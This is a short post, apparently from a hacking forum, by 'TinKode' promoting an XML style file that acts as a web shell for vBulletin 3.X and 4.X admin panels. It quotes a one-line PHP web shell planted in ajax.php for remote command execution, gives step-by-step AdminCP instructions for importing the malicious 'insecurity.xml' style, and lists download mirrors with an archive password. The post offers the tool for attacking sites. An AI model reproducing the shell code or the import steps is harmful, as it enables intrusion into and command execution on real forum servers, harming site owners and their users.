By TinKode Why I created this (XML) Shell for vBulletin?! Hmm, because it's more easy to use and work on all versions from 3.X to 4.X. I removed all PHP codes, because vB 4.X had restricted these tags. The old method to edit a file like ajax.php to make RCE [Remote Command Execution] and to add a code in source like <?php system($_GET['cmd']);?> and to execute like http://website.com/ajax.php?cmd=[RCE] Now doesn't work on the 4.X versions! Instructions: Step 1: Enter on AdminCP -> Styles & Templates section and choose Download / Upload Styles. Step 2: Click on Browse button and search insecurity.xml, and after select [Yes] Ignore Style Version, then click Import. Step 3: After you have uploaded the .XML Style, you can access by clicking on the style like in the example. IMGS Downloads: Mirror: http://pastebin.com/ybZqXiDH Mirror: http://www.megaupload.com/?d=5DELFLQ3 Password: ISR